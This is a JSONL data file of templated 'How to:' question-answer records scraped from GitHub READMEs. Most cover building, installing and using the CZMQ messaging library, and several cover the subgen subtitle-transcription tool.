{"id": "gh_3f677d014a9f", "question": "How to: Ownership and License", "question_body": "About zeromq/czmq", "answer": "The contributors are listed in AUTHORS. This project uses the MPL v2 license, see LICENSE.\n\nCZMQ uses the [C4.1 (Collective Code Construction Contract)](http://rfc.zeromq.org/spec:22) process for contributions.\n\nCZMQ uses the [CLASS (C Language Style for Scalabilty)](http://rfc.zeromq.org/spec:21) guide for code style.\n\nTo report an issue, use the [CZMQ issue tracker](https://github.com/zeromq/czmq/issues) at github.com.", "tags": ["zeromq"], "source": "github_gists", "category": "zeromq", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1257, "answer_score": 10, "has_code": false, "url": "https://github.com/zeromq/czmq", "collected_at": "2026-01-17T12:56:12.479417"}
{"id": "gh_fe2522295db9", "question": "How to: Install from a package manager", "question_body": "About zeromq/czmq", "answer": "#### Linux\n\nDeb packages are available for [Debian](https://packages.debian.org/search?searchon=sourcenames&keywords=czmq) and [Ubuntu](https://packages.ubuntu.com/search?searchon=sourcenames&keywords=czmq).\n\nFor other distros please refer to [pkgs.org](https://pkgs.org/download/czmq).\n\nYou can also get prebuild binaries for latest git `master` for most distros on openSUSE's Build Service:\n\n**Git `master` only stable APIs:** http://software.opensuse.org/download.html?project=network%3Amessaging%3Azeromq%3Agit-stable&package=czmq\n\n**Git `master` including draft APIs:** http://software.opensuse.org/download.html?project=network%3Amessaging%3Azeromq%3Agit-draft&package=czmq\n\n#### MacOS\n\nOn macOS install czmq with Homebrew see [here](https://formulae.brew.sh/formula/czmq).\n\n#### Windows\n\n**Using vcpkg**\n\nIf you are already using [vcpkg](https://github.com/Microsoft/vcpkg/), you can download and install `czmq` with one single command:\n```\nvcpkg.exe install czmq\n```\nthis will build `czmq` as a 32-bit shared library.\n```\nvcpkg.exe install czmq:x64-windows-static\n```\nthis will build `czmq` as a 64-bit static library.\n\nYou may also build `czmq` with one or more optional libraries:\n```\nvcpkg.exe install czmq[curl,httpd,lz4]:x64-windows\n```\nthis will build `czmq` with `libcurl`, `libmicrohttpd`, `lz4`, as a 64-bit shared library.\n\nTo use the draft APIs, you may build `czmq` with `draft` feature:\n```\nvcpkg install czmq[draft]\n```\n\nIf you are an adventurer, and want to always use the latest version of `czmq`, pass an extra `--head` option:\n```\nvcpkg.exe install czmq --head\n```\n\nThese commands will also print out instructions on how to use the library from your MSBuild or CMake-based projects.", "tags": ["zeromq"], "source": "github_gists", "category": "zeromq", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1257, "answer_score": 10, "has_code": true, "url": "https://github.com/zeromq/czmq", "collected_at": "2026-01-17T12:56:12.479428"}
{"id": "gh_2f9279dbb86c", "question": "How to: Building on Linux and macOS", "question_body": "About zeromq/czmq", "answer": "To start with, you need at least these packages:\n* `git` -- git is how we share code with other people.\n* `build-essential`, `libtool`, `pkg-config` - the C compiler and related tools.\n* `autotools-dev`, `autoconf`, `automake` - the GNU autoconf makefile generators.\n* `cmake` - the CMake makefile generators (an alternative to autoconf).\n\nPlus some others:\n* `uuid-dev`, `libpcre3-dev` - utility libraries.\n* `valgrind` - a useful tool for checking your code.\n* `pkg-config` - an optional useful tool to make building with dependencies easier.\n\nWhich we install like this (using the Debian-style apt-get package manager):\n\n    sudo apt-get update\n    sudo apt-get install -y \\\n        git build-essential libtool \\\n        pkg-config autotools-dev autoconf automake cmake \\\n        uuid-dev libpcre3-dev valgrind\n\n    # only execute this next line if interested in updating the man pages as well (adds to build time):\n    sudo apt-get install -y asciidoc\n\nHere's how to build CZMQ from GitHub (building from packages is very similar, you don't clone a repo but unpack a tarball), including the libzmq (ZeroMQ core) library (NOTE: skip ldconfig on OSX):\n\n    git clone https://github.com/zeromq/libzmq.git\n    cd libzmq\n    ./autogen.sh\n    # do not specify \"--with-libsodium\" if you prefer to use internal tweetnacl security implementation (recommended for development)\n    ./configure --with-libsodium\n    make check\n    sudo make install\n    sudo ldconfig\n    cd ..\n\n    git clone https://github.com/zeromq/czmq.git\n    cd czmq\n    ./autogen.sh && ./configure && make check\n    sudo make install\n    sudo ldconfig\n    cd ..\n\nIn general CZMQ works best with the latest libzmq master. If you already have an older version of libzmq installed on your system, e.g. in /usr/, then you can install libzmq master to your home directory ($HOME/local):\n\n    #   Building libzmq in our home directory\n    ./configure --prefix=$HOME/local\n\nAnd then to build CZMQ against this installation of libzmq:\n\n    export CFLAGS=-I$HOME/local/include\n    export LDFLAGS=-L$HOME/local/lib64\n    export PKG_CONFIG_PATH=$HOME/local/lib64/pkgconfig\n    ./configure\n\nNOTE: the PKG_CONFIG_PATH is not mandatory, and the actual directory might be different. If you cannot or do not want to use pkg-config, please make sure to MANUALLY add all the necessary CFLAGS and LDFLAGS from all dependencies (for example -DZMQ_BUILD_DRAFT_API=1 if you want the DRAFT APIs).\n\nYou will need the pkg-config, libtool, and autoreconf packages. After building, run the CZMQ selftests:\n\n    make check", "tags": ["zeromq"], "source": "github_gists", "category": "zeromq", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1257, "answer_score": 10, "has_code": true, "url": "https://github.com/zeromq/czmq", "collected_at": "2026-01-17T12:56:12.479444"}
{"id": "gh_0bd2228592c7", "question": "How to: Building on Windows", "question_body": "About zeromq/czmq", "answer": "To start with, you need MS Visual Studio (C/C++). The free community edition works well.\n\nThen, install git, and make sure it works from a DevStudio command prompt:\n\n```\ngit\n```\n\n#### Using CMake\n\n`czmq` requires `libzmq`, so we need to build `libzmq` first. For `libzmq`, you can optionally use [libsodium](https://github.com/jedisct1/libsodium) as the curve encryption library. So we will start from building `libsodium` in the following (and you can bypass the building of `libsodium` if you are ok with libzmq's default curve encryption library):\n```\ngit clone --depth 1 -b stable https://github.com/jedisct1/libsodium.git\ncd libsodium\\builds\\msvc\\build\nbuildall.bat\ncd ..\\..\\..\\..\n```\nOnce done, you can find the library files under `libsodium\\bin\\\n\\\n\\\n\\\n`.\n\nHere, the `\n` is the platform toolset you are using: `v100` for `VS2010`, `v140` for `VS2015`, `v141` for `VS2017`, etc.\n\n```\ngit clone https://github.com/zeromq/libzmq.git\ncd libzmq\nmkdir build\ncd build\ncmake .. -DBUILD_STATIC=OFF -DBUILD_SHARED=ON -DZMQ_BUILD_TESTS=ON -DWITH_LIBSODIUM=ON -DCMAKE_INCLUDE_PATH=..\\libsodium\\src\\libsodium\\include -DCMAKE_LIBRARY_PATH=..\\libsodium\\bin\\Win32\\Release\\\n\\dynamic -DCMAKE_INSTALL_PREFIX=C:\\libzmq\ncmake --build . --config Release --target install\ncd ..\\..\\\n```\n`-DWITH_LIBSODIUM=ON` is necessary if you want to build `libzmq` with `libsodium`. `CMAKE_INCLUDE_PATH` option tells `libzmq` where to search for `libsodium`'s header files. And the `CMAKE_LIBRARY_PATH` option tells where to search for libsodium library files. If you don't need `libsodium` support, you can omit these three options.\n\n`-DCMAKE_INSTALL_PREFIX=C:\\libzmq` means we want to install `libzmq` into the `C:\\libzmq`. You may need to run your shell with administrator privilege in order to write to the system disk.\n\nNow, it is time to build `czmq`:\n```\ngit clone https://github.com/zeromq/czmq.git\ncd czmq\nmkdir build\ncd build\ncmake .. -DCZMQ_BUILD_SHARED=ON -DCZMQ_BUILD_STATIC=OFF -DCMAKE_PREFIX_PATH=C:\\libzmq\ncmake --build . --config Release\n```\nRemember that we install `libzmq` to `C:\\libzmq` through specifying `-DCMAKE_INSTALL_PREFIX=C:\\libzmq` in the previous step. We here use `-DCMAKE_PREFIX_PATH=C:\\libzmq` to tell `czmq` where to search for `libzmq`.\n\nThat is not the whole story. We didn't mention the building of `libcurl`, `lz4`, `libuuid` and other `czmq` optional libraries above. In fact, to build all of these optional libraries successfully is really tricky. Please refer issue [#1972](https://github.com/zeromq/czmq/issues/1972) for more details.\n\n#### Using MSBuild (Out of date, may not work now!)\n\n```\n    git clone --depth 1 -b stable https://github.com/jedisct1/libsodium.git\n    cd libsodium\\builds\\msvc\\build\n    buildall.bat\n    cd ..\\..\\..\\..\n\n    :: if libsodium is on disk, the Windows build of libzmq will automatically use it\n    git clone https://github.com/zeromq/libzmq.git\n    cd libzmq\\builds\\msvc\n    configure.bat\n    cd build\n    buildall.bat\n    cd ..\\..\\..\\..\n\n    git clone https://github.com/zeromq/czmq.git\n    cd czmq\\builds\\msvc\n    configure.bat\n    cd build\n    buildall.bat\n    cd ..\\..\\..\\..\n```\n\nLet's test by running `czmq_selftest`:\n\n```\n   czmq>dir/s/b czmq_selftest.exe\n   czmq\\builds\\msvc\\vs2013\\DebugDEXE\\czmq_selftest.exe\n   czmq\\builds\\msvc\\vs2013\\DebugLEXE\\czmq_selftest.exe\n   czmq\\builds\\msvc\\vs2013\\DebugSEXE\\czmq_selftest.exe\n   czmq\\builds\\msvc\\vs2013\\ReleaseDEXE\\czmq_selftest.exe\n   czmq\\builds\\msvc\\vs2013\\ReleaseLEXE\\czmq_selftest.exe\n   czmq\\builds\\msvc\\vs2013\\ReleaseSEXE\\czmq_selftest.exe\n   czmq\\builds\\msvc\\vs2013\\x64\\DebugDEXE\\czmq_selftest.exe\n   czmq\\builds\\msvc\\vs2013\\x64\\DebugLEXE\\czmq_selftest.exe\n   czmq\\builds\\msvc\\vs2013\\x64\\DebugSEXE\\czmq_selftest.exe\n   czmq\\builds\\msvc\\vs2013\\x64\\ReleaseDEXE\\czmq_selftest.exe\n   czmq\\builds\\msvc\\vs2013\\x64\\ReleaseLEXE\\czmq_selftest.exe\n   czmq\\builds\\msvc\\vs2013\\x64\\ReleaseSEXE\\czmq_selftest.exe\n\n    :: select your choice and run it\n    czmq\\builds\\msvc\\vs2013\\x64\\ReleaseDEXE\\czmq_selftest.exe\n```", "tags": ["zeromq"], "source": "github_gists", "category": "zeromq", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1257, "answer_score": 10, "has_code": true, "url": "https://github.com/zeromq/czmq", "collected_at": "2026-01-17T12:56:12.479460"}
{"id": "gh_5b810f8cc075", "question": "How to: Building for iOS", "question_body": "About zeromq/czmq", "answer": "Static libraries can be compiled for iOS, some scripts to do so can be found at: https://github.com/crcunningham/zeromq_ios_libraries.", "tags": ["zeromq"], "source": "github_gists", "category": "zeromq", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1257, "answer_score": 10, "has_code": false, "url": "https://github.com/zeromq/czmq", "collected_at": "2026-01-17T12:56:12.479467"}
{"id": "gh_d0877085e5a7", "question": "How to: Linking with an Application", "question_body": "About zeromq/czmq", "answer": "Include `czmq.h` in your application and link with libczmq. Here is a typical gcc link command:\n\n    gcc myapp.c -o myapp -lczmq -lzmq\n\nNote: if you want to use the draft APIs you'll need to define `CZMQ_BUILD_DRAFT_API=1` \nand `ZMQ_BUILD_DRAFT_API=1` in order to unlock them. This handled automatically \nby platforms using pkg-config but not through cmake on Windows for example.", "tags": ["zeromq"], "source": "github_gists", "category": "zeromq", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1257, "answer_score": 10, "has_code": true, "url": "https://github.com/zeromq/czmq", "collected_at": "2026-01-17T12:56:12.479473"}
{"id": "gh_9be4a961154d", "question": "How to: Use from Other Languages", "question_body": "About zeromq/czmq", "answer": "This is a list of auto-generated bindings:\n\n* https://github.com/zeromq/czmq/tree/master/bindings/jni - Java\n* https://github.com/zeromq/czmq/tree/master/bindings/nodejs - NodeJS\n* https://github.com/zeromq/czmq/tree/master/bindings/python - Python\n* https://github.com/zeromq/czmq/tree/master/bindings/python_cffi - Python (cffi)\n* https://github.com/zeromq/czmq/tree/master/bindings/qml - QML\n* https://github.com/zeromq/czmq/tree/master/bindings/qt - Qt\n* https://github.com/zeromq/czmq/tree/master/bindings/ruby - Ruby (FFI)\n\nThis is a list of known higher-level wrappers around CZMQ:\n\n* https://github.com/1100110/CZMQ - D bindings\n* https://github.com/methodmissing/rbczmq - Ruby\n* https://github.com/paddor/cztop - Ruby, based on generated FFI binding\n* https://github.com/zeromq/pyczmq - Python\n* https://github.com/lhope/cl-czmq - Common Lisp\n* https://github.com/fmp88/ocaml-czmq - Ocaml\n* https://github.com/gar1t/erlang-czmq - Erlang\n* https://github.com/mtortonesi/ruby-czmq-ffi - Ruby FFI\n* https://github.com/zeromq/goczmq - Go", "tags": ["zeromq"], "source": "github_gists", "category": "zeromq", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1257, "answer_score": 10, "has_code": false, "url": "https://github.com/zeromq/czmq", "collected_at": "2026-01-17T12:56:12.479481"}
{"id": "gh_bcc618961e45", "question": "How to: API v3 Summary", "question_body": "About zeromq/czmq", "answer": "This is the API provided by CZMQ v3.x, in alphabetical order.\n\n#### zactor - simple actor framework\n\nThe zactor class provides a simple actor framework. It replaces the\nCZMQ zthread class, which had a complex API that did not fit the CLASS\nstandard. A CZMQ actor is implemented as a thread plus a PAIR-PAIR\npipe. The constructor and destructor are always synchronized, so the\ncaller can be sure all resources are created, and destroyed, when these\ncalls complete. (This solves a major problem with zthread, that a caller\ncould not be sure when a child thread had finished.)\n\nA zactor_t instance acts like a zsock_t and you can pass it to any CZMQ\nmethod that would take a zsock_t argument, including methods in zframe,\nzmsg, zstr, and zpoller. (zloop somehow escaped and needs catching.)\n\nAn actor function MUST call zsock_signal (pipe) when initialized\nand MUST listen to pipe and exit on $TERM command.\n\nPlease add '@discuss' section in './../src/zactor.c'.\n\nThis is the class interface:\n\n```h\n    //  This is a stable class, and may not change except for emergencies. It\n    //  is provided in stable builds.\n    //  This class has draft methods, which may change over time. They are not\n    //  in stable releases, by default. Use --enable-drafts to enable.\n    // Actors get a pipe and arguments from caller\n    typedef void (zactor_fn) (\n        zsock_t *pipe, void *args);\n    \n    //  Create a new actor passing arbitrary arguments reference.\n    CZMQ_EXPORT zactor_t *\n        zactor_new (zactor_fn task, void *args);\n    \n    //  Destroy an actor.\n    CZMQ_EXPORT void\n        zactor_destroy (zactor_t **self_p);\n    \n    //  Send a zmsg message to the actor, take ownership of the message\n    //  and destroy when it has been sent.\n    CZMQ_EXPORT int\n        zactor_send (zactor_t *self, zmsg_t **msg_p);\n    \n    //  Receive a zmsg message from the actor. Returns NULL if the actor\n    //  was interrupted before the message could be received, or if there\n    //  was a timeout on the actor.\n    //  Caller owns return value and must destroy it when done.\n    CZMQ_EXPORT zmsg_t *\n        zactor_recv (zactor_t *self);\n    \n    //  Probe the supplied object, and report if it looks like a zactor_t.\n    CZMQ_EXPORT bool\n        zactor_is (void *self);\n    \n    //  Probe the supplied reference. If it looks like a zactor_t instance,\n    //  return the underlying libzmq actor handle; else if it looks like\n    //  a libzmq actor handle, return the supplied value.\n    CZMQ_EXPORT void *\n        zactor_resolve (void *self);\n    \n    //  Return the actor's zsock handle. Use this when you absolutely need\n    //  to work with the zsock instance rather than the actor.\n    CZMQ_EXPORT zsock_t *\n        zactor_sock (zactor_t *self);\n    \n    //  Self test of this class.\n    CZMQ_EXPORT void\n        zactor_test (bool verbose);\n    \n    #ifdef CZMQ_BUILD_DRAFT_API\n    // Function to be called on zactor_destroy. Default behavior is to send zmsg_t with string \"$TERM\" in a first frame.\n    //\n    // An example - to send $KTHXBAI string\n    //\n    //     if (zstr_send (self, \"$KTHXBAI\") == 0)\n    //         zsock_wait (self);\n    typedef void (zactor_destructor_fn) (\n        zactor_t *self);\n    \n    //  *** Draft method, for development use, may change without warning ***\n    //  Change default destructor by custom function. Actor MUST be able to handle new message instead of default $TERM.\n    CZMQ_EXPORT void\n        zactor_set_destructor (zactor_t *self, zactor_destructor_fn destructor);\n    \n    #endif // CZMQ_BUILD_DRAFT_API\n```\nPlease add '@interface' section in './../src/zactor.c'.\n\nThis is the class self test code:\n\n```c\n    zactor_t *actor = zactor_new (echo_actor, \"Hello, World\");\n    assert (actor);\n    zstr_sendx (actor, \"ECHO\", \"This is a string\", NULL);\n    char *string = zstr_recv (actor);\n    assert (streq (string, \"This is a string\"));\n    freen (string);\n    zactor_destroy (&actor);\n    \n    // custom destructor\n    // KTHXBAI_actor ends on \"$KTHXBAI\" string\n    zactor_t *KTHXBAI = zactor_new (KTHXBAI_actor, NULL);\n    assert (KTHXBAI);\n    // which is the one sent by KTHXBAI_destructor\n    zactor_set_destructor (KTHXBAI, KTHXBAI_destructor);\n    zactor_destroy (&KTHXBAI);\n    \n    // custom destructor\n    // destructor using bsend/brecv\n    zactor_t *BSEND = zactor_new (BSEND_actor, NULL);\n    assert (BSEND);\n    zactor_set_destructor (BSEND, BSEND_destructor);\n    zactor_destroy (&BSEND);\n    #if defined (__WINDOWS__)\n    zsys_shutdown();\n    #endif\n```\n\n#### zauth - authentication for ZeroMQ security mechanisms\n\nA zauth actor takes over authentication for all incoming connections in\nits context. You can allow or block peers based on IP address,\nand define policies for securing PLAIN, CURVE, and GSSAPI connections.\n\nThis class replaces zauth_v2, and is meant for applications that use the\nCZMQ v3 API (meaning, zsock).\n\nThis is the class interface:\n\n```h\n    #define CURVE_ALLOW_ANY \"*\"\n    \n    //  CZMQ v3 API (for use with zsock, n", "tags": ["zeromq"], "source": "github_gists", "category": "zeromq", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1257, "answer_score": 10, "has_code": true, "url": "https://github.com/zeromq/czmq", "collected_at": "2026-01-17T12:56:12.480460"}
{"id": "gh_b7991798e142", "question": "How to: Error Handling", "question_body": "About zeromq/czmq", "answer": "The CZMQ policy is to reduce the error flow to 0/-1 where possible. libzmq still does a lot of errno setting. CZMQ does not do that, as it creates a fuzzy API. Things either work as expected, or they fail, and the application's best strategy is usually to assert on non-zero return codes.\n\nSome older libraries still return plethora of error codes, to indicate different types of failure. This ironically makes both library and application more likely to be buggy. The reason is simply that it needs more code on both sides of the API, and the more code, the more bugs.\n\nThe use of black/white error handling fits the CLASS style for APIs where each call is explicit and without side effects of any kind, and where damage is either impossible, or fatal.\n\nThe one exception is running out of resources (memory, sockets). In that case, there are two strategies that work, for different types of app. One is to assert, to force better sizing of the machine and/or limits such as max connections. Two is to degrade carefully, e.g. refuse new connections, however that is considerably harder to do correctly and probably unrealistic for most developers.\n\nSome CZMQ methods used to actually assert, e.g. in zsocket_bind, if the action failed, instead of returning -1. That was just closer to the majority case where the action MUST work, or nothing can continue. However there's a small slice of cases where failure means something positive, and for these cases, such calls return -1 on failure. 99% of calling code simply asserts the return value is not -1.\n\nThere are a few cases where the return value is overloaded to return -1, 0, or other values. These are somewhat confusing special cases and we aim to eliminate them over time.\n\nThe overall goal with this strategy is robustness, and absolute minimal and predictable expression in the code. You can see that it works: the CZMQ code is generally very simple and clear, with a few exceptions of places where people have used their old C style (we fix these over time).", "tags": ["zeromq"], "source": "github_gists", "category": "zeromq", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1257, "answer_score": 10, "has_code": false, "url": "https://github.com/zeromq/czmq", "collected_at": "2026-01-17T12:56:12.480530"}
{"id": "gh_39a953ebdba2", "question": "How to: Adding a New Class", "question_body": "About zeromq/czmq", "answer": "If you define a new CZMQ class `myclass` you need to:\n\n* Write the `zmyclass.c` and `zmyclass.h` source files, in `src` and `include` respectively.\n* Add`#include\n` to `include/czmq.h`.\n* Add the myclass header and test call to `src/czmq_selftest.c`.\n* Add a reference documentation to 'doc/zmyclass.txt'.\n* Add myclass to 'model/projects.xml` and read model/README.txt.\n* Add a section to README.txt.", "tags": ["zeromq"], "source": "github_gists", "category": "zeromq", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1257, "answer_score": 10, "has_code": false, "url": "https://github.com/zeromq/czmq", "collected_at": "2026-01-17T12:56:12.480562"}
{"id": "gh_2feb88873098", "question": "How to: Documentation", "question_body": "About zeromq/czmq", "answer": "Man pages are generated from the class header and source files via the doc/mkman tool, and similar functionality in the gitdown tool (http://github.com/imatix/gitdown). The header file for a class must wrap its interface as follows (example is from include/zclock.h):\n\n    //  @interface\n    //  Sleep for a number of milliseconds\n    void\n        zclock_sleep (int msecs);\n\n    //  Return current system clock as milliseconds\n    int64_t\n        zclock_time (void);\n\n    //  Self test of this class\n    int\n        zclock_test (Bool verbose);\n    //  @end\n\nThe source file for a class must provide documentation as follows:\n\n    /*\n    @header\n    ...short explanation of class...\n    @discuss\n    ...longer discussion of how it works...\n    @end\n    */\n\nThe source file for a class then provides the self test example as follows:\n\n    //  @selftest\n    int64_t start = zclock_time ();\n    zclock_sleep (10);\n    assert ((zclock_time () - start) >= 10);\n    //  @end\n\nThe template for man pages is in doc/mkman.", "tags": ["zeromq"], "source": "github_gists", "category": "zeromq", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1257, "answer_score": 10, "has_code": true, "url": "https://github.com/zeromq/czmq", "collected_at": "2026-01-17T12:56:12.480570"}
{"id": "gh_6381eb225975", "question": "How to: Development", "question_body": "About zeromq/czmq", "answer": "CZMQ is developed through a test-driven process that guarantees no memory violations or leaks in the code:\n\n* Modify a class or method.\n* Update the test method for that class.\n* Run the 'selftest' script, which uses the Valgrind memcheck tool.\n* Repeat until perfect.", "tags": ["zeromq"], "source": "github_gists", "category": "zeromq", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1257, "answer_score": 10, "has_code": false, "url": "https://github.com/zeromq/czmq", "collected_at": "2026-01-17T12:56:12.480575"}
{"id": "gh_3caa08f41a4b", "question": "How to: Porting CZMQ", "question_body": "About zeromq/czmq", "answer": "When you try CZMQ on an OS that it's not been used on (ever, or for a while), you will hit code that does not compile. In some cases the patches are trivial, in other cases (usually when porting to Windows), the work needed to build equivalent functionality may be non-trivial. In any case, the benefit is that once ported, the functionality is available to all applications.\n\nBefore attempting to patch code for portability, please read the `czmq_prelude.h` header file. There are several typical types of changes you may need to make to get functionality working on a specific operating system:\n\n* Defining typedefs which are missing on that specific compiler: do this in czmq_prelude.h.\n* Defining macros that rename exotic library functions to more conventional names: do this in czmq_prelude.h.\n* Reimplementing specific methods to use a non-standard API: this is typically needed on Windows. Do this in the relevant class, using #ifdefs to properly differentiate code for different platforms.", "tags": ["zeromq"], "source": "github_gists", "category": "zeromq", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1257, "answer_score": 10, "has_code": false, "url": "https://github.com/zeromq/czmq", "collected_at": "2026-01-17T12:56:12.480581"}
{"id": "gh_91a0f749232d", "question": "How to: Hints to Contributors", "question_body": "About zeromq/czmq", "answer": "CZMQ is a nice, neat library, and you may not immediately appreciate why. Read the CLASS style guide please, and write your code to make it indistinguishable from the rest of the code in the library. That is the only real criteria for good style: it's invisible.\n\nDon't include system headers in source files. The right place for these is czmq_prelude.h. If you need to check against configured libraries and/or headers, include platform.h in the source before including czmq.h.\n\nDo read your code after you write it and ask, \"Can I make this simpler?\" We do use a nice minimalist and yet readable style. Learn it, adopt it, use it.\n\nBefore opening a pull request read our [contribution guidelines](https://github.com/zeromq/czmq/blob/master/CONTRIBUTING.md). Thanks!", "tags": ["zeromq"], "source": "github_gists", "category": "zeromq", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1257, "answer_score": 10, "has_code": false, "url": "https://github.com/zeromq/czmq", "collected_at": "2026-01-17T12:56:12.480587"}
{"id": "gh_709ae2d523ed", "question": "How to: Code Generation", "question_body": "About zeromq/czmq", "answer": "We generate scripts for build systems like autotools, cmake and others as well as class skeletons, class headers, the selftest runner, bindings to higher level languages and more using zproject. Generated files will have a header and footer telling you that this file was generated. To re-generate those files it is recommended to use the latest `zeromqorg/zproject` docker image. \n\n#### Docker\n\n* Clone [libzmq](https://github.com/zeromq/libzmq) into the same directory as czmq. \n\nNext always download the latest image: \n\n```sh", "tags": ["zeromq"], "source": "github_gists", "category": "zeromq", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1257, "answer_score": 10, "has_code": true, "url": "https://github.com/zeromq/czmq", "collected_at": "2026-01-17T12:56:12.480592"}
{"id": "gh_1feb030c7b83", "question": "How to: Shell and Powershell", "question_body": "About zeromq/czmq", "answer": "docker run -v ${PWD}/..:/workspace -e BUILD_DIR=/workspace/czmq zeromqorg/zproject", "tags": ["zeromq"], "source": "github_gists", "category": "zeromq", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1257, "answer_score": 10, "has_code": false, "url": "https://github.com/zeromq/czmq", "collected_at": "2026-01-17T12:56:12.480597"}
{"id": "gh_a409dbadc0a1", "question": "How to: Windows CMD", "question_body": "About zeromq/czmq", "answer": "docker run -v %cd%/..:/workspace -e BUILD_DIR=/workspace/czmq zeromqorg/zproject\n```\n\n#### Linux and MacOS\n\n* Install [GSL](https://github.com/zeromq/gsl) and [zproject](https://github.com/zeromq/zproject)\n* Clone [libzmq](https://github.com/zeromq/libzmq) into the same directory as czmq\n\nThen run the following command:\n\n\tgsl project.xml", "tags": ["zeromq"], "source": "github_gists", "category": "zeromq", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1257, "answer_score": 10, "has_code": true, "url": "https://github.com/zeromq/czmq", "collected_at": "2026-01-17T12:56:12.480601"}
{"id": "gh_96e364b1fff7", "question": "How to: This Document", "question_body": "About zeromq/czmq", "answer": "_This documentation was generated from czmq/README.txt using [Gitdown](https://github.com/zeromq/gitdown)_", "tags": ["zeromq"], "source": "github_gists", "category": "zeromq", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1257, "answer_score": 10, "has_code": false, "url": "https://github.com/zeromq/czmq", "collected_at": "2026-01-17T12:56:12.480605"}
{"id": "gh_230e768ea9e1", "question": "How to: What is this?", "question_body": "About McCloudS/subgen", "answer": "This will transcribe your personal media on a Plex, Emby, or Jellyfin server to create subtitles (.srt) from audio/video files with the following languages: https://github.com/McCloudS/subgen#audio-languages-supported-via-openai and transcribe or translate them into english. It can also be used as a Whisper provider in Bazarr (See below instructions). It technically has support to transcribe from a foreign langauge to itself (IE Japanese > Japanese, see [TRANSCRIBE_OR_TRANSLATE](https://github.com/McCloudS/subgen#variables)). It is currently reliant on webhooks from Jellyfin, Emby, Plex, or Tautulli. This uses stable-ts and faster-whisper which can use both Nvidia GPUs and CPUs.", "tags": ["McCloudS"], "source": "github_gists", "category": "McCloudS", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1166, "answer_score": 10, "has_code": false, "url": "https://github.com/McCloudS/subgen", "collected_at": "2026-01-17T12:56:15.747099"}
{"id": "gh_f88c249aa5b4", "question": "How to: What can it do?", "question_body": "About McCloudS/subgen", "answer": "* Create .srt subtitles when a media file is added or played which triggers off of Jellyfin, Plex, or Tautulli webhooks. It can also be called via the Whisper provider inside Bazarr.", "tags": ["McCloudS"], "source": "github_gists", "category": "McCloudS", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1166, "answer_score": 10, "has_code": false, "url": "https://github.com/McCloudS/subgen", "collected_at": "2026-01-17T12:56:15.747114"}
{"id": "gh_79ca47df5e9f", "question": "How to: Standalone/Without Docker", "question_body": "About McCloudS/subgen", "answer": "Install python3 (Whisper supports Python 3.9-3.11), ffmpeg, and download launcher.py from this repository.  Then run it: `python3 launcher.py -u -i -s`. You need to have matching paths relative to your Plex server/folders, or use USE_PATH_MAPPING.  Paths are not needed if you are only using Bazarr. You will need the appropriate NVIDIA drivers installed minimum of CUDA Toolkit 12.3 (12.3.2 is known working): https://developer.nvidia.com/cuda-toolkit-archive\n\nNote: If you have previously had Subgen running in standalone, you may need to run `pip install --upgrade --force-reinstall faster-whisper git+https://github.com/jianfch/stable-ts.git` to force the install of the newer stable-ts package.\n\n#### Using Launcher\n\nlauncher.py can launch subgen for you and automate the setup and can take the following options:\n![image](https://github.com/McCloudS/subgen/assets/64094529/081f95b2-7a09-498f-a39e-5ea66e0bc7e1)\n\nUsing `-s` for Bazarr setup:\n![image](https://github.com/McCloudS/subgen/assets/64094529/ade1b886-3b99-4f80-95ac-bb28608259bb)", "tags": ["McCloudS"], "source": "github_gists", "category": "McCloudS", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1166, "answer_score": 10, "has_code": false, "url": "https://github.com/McCloudS/subgen", "collected_at": "2026-01-17T12:56:15.747125"}
{"id": "gh_4cf637ab3c3e", "question": "How to: What are the limitations/problems?", "question_body": "About McCloudS/subgen", "answer": "* I made it and know nothing about formal deployment for python coding.  \n* It's using trained AI models to transcribe, so it WILL mess up", "tags": ["McCloudS"], "source": "github_gists", "category": "McCloudS", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1166, "answer_score": 10, "has_code": false, "url": "https://github.com/McCloudS/subgen", "collected_at": "2026-01-17T12:56:15.747151"}
{"id": "gh_e099178f8c07", "question": "How to: Audio Languages Supported (via OpenAI)", "question_body": "About McCloudS/subgen", "answer": "Afrikaans, Arabic, Armenian, Azerbaijani, Belarusian, Bosnian, Bulgarian, Catalan, Chinese, Croatian, Czech, Danish, Dutch, English, Estonian, Finnish, French, Galician, German, Greek, Hebrew, Hindi, Hungarian, Icelandic, Indonesian, Italian, Japanese, Kannada, Kazakh, Korean, Latvian, Lithuanian, Macedonian, Malay, Marathi, Maori, Nepali, Norwegian, Persian, Polish, Portuguese, Romanian, Russian, Serbian, Slovak, Slovenian, Spanish, Swahili, Swedish, Tagalog, Tamil, Thai, Turkish, Ukrainian, Urdu, Vietnamese, and Welsh.", "tags": ["McCloudS"], "source": "github_gists", "category": "McCloudS", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1166, "answer_score": 10, "has_code": false, "url": "https://github.com/McCloudS/subgen", "collected_at": "2026-01-17T12:56:15.747159"}
{"id": "gh_6636c757fe92", "question": "How to: Known Issues", "question_body": "About McCloudS/subgen", "answer": "At this time, if you have high CPU usage when not actively transcribing on the CPU only docker, try the GPU one.", "tags": ["McCloudS"], "source": "github_gists", "category": "McCloudS", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1166, "answer_score": 10, "has_code": false, "url": "https://github.com/McCloudS/subgen", "collected_at": "2026-01-17T12:56:15.747165"}
